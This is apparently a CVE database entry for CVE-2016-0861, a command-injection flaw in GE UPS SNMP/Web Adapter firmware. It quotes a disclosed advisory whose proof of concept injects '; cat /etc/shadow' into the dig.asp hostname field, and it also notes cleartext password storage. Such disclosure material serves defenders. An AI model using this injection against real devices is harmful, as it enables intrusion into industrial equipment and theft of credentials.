CVE-2016-0861
Description
General Electric (GE) Industrial Solutions UPS SNMP/Web Adapter devices with firmware before 4.8 allow remote authenticated users to execute arbitrary commands via unspecified vectors.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
GE Industrial Solutions UPS SNMP Adapter < 4.8 - Multiple Vulnerabilities
# Exploit Title: [GE Industrial Solutions - UPS SNMP Adapter Command
Injection and Clear-text Storage of Sensitive Information Vulnerabilities]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [http://www.geindustrial.com/]
# Versions Reported: [All SNMP/Web Interface cards with firmware version
prior to 4.8 manufactured by GE Industrial Solutions.]
# CVE-IDs: [CVE-2016-0861 + CVE-2016-0862]
*GE Advisory: *
http://apps.geindustrial.com/publibrary/checkout/GEIS_SNMP?TNR=Application%20and%20Technical|GEIS_SNMP|PDF&filename=GEIS_SNMP.pdf
*ICS-CERT Advisory:*https://ics-cert.us-cert.gov/advisories/ICSA-16-033-02
*About GE*
GE is a US-based company that maintains offices in several countries around
the world.
The affected product, SNMP/Web Interface adapter, is a web server designed
to present information about the Uninterruptible Power Supply (UPS).
According to GE, the SNMP/Web Interface is deployed across several sectors
including Critical Manufacturing and Energy. GE estimates that these
products are used worldwide.
*Affected Products*
โข All SNMP/Web Interface cards with firmware version prior to 4.8
manufactured by GE Industrial Solutions.
*VULNERABILITY OVERVIEW*
A
*COMMAND INJECTIONCVE-2016-0861*
Device application services run as (root) privileged user, and does not
perform strict input validation. This allows an authenticated user to
execute any system commands on the system.
Vulnerable function:
http://IP/dig.asp <http://ip/dig.asp>
Vulnerable parameter:
Hostname/IP address
*PoC:*
In the Hostname/IP address input, enter:
; cat /etc/shadow
Output
root:<hash>:0:0:root:/root:/bin/sh
<...other system users...>
ge:<hash>:101:0:gedeups7:/home/admin:/bin/sh
root123:<hash>:102:0:gedeups2:/home/admin:/bin/sh
B
*CLEARTEXT STORAGE OF SENSITIVE INFORMATIONCVE-2016-0862*
File contains sensitive account information stored in cleartext. All users,
including non-admins, can view/access device's configuration, via Menu
option -> Save -> Settings.
The application stores all information in clear-text, including *all user
logins and clear-text passwords*.
--
Best Regards,
Karn Ganeshen
ipositivesecurity.blogspot.in
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| ge | ups_snmp_web_adapter_firmware | {"endIncluding":"4.7"} | |
References
- http://apps.geindustrial.com/publibrary/checkout/Application%20and%20Technical%7CGEIS_SNMP%7CPDF&filename=GEIS_SNMP.pdf
- http://packetstormsecurity.com/files/135586/GE-Industrial-Solutions-UPS-SNMP-Adapter-Command-Injection.html
- http://seclists.org/fulldisclosure/2016/Feb/21
- https://ics-cert.us-cert.gov/advisories/ICSA-16-033-02
- https://www.exploit-db.com/exploits/39408/
- http://apps.geindustrial.com/publibrary/checkout/Application%20and%20Technical%7CGEIS_SNMP%7CPDF&filename=GEIS_SNMP.pdf
- http://packetstormsecurity.com/files/135586/GE-Industrial-Solutions-UPS-SNMP-Adapter-Command-Injection.html
- http://seclists.org/fulldisclosure/2016/Feb/21
- https://ics-cert.us-cert.gov/advisories/ICSA-16-033-02
- https://www.exploit-db.com/exploits/39408/
CWEs
CWE-77
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.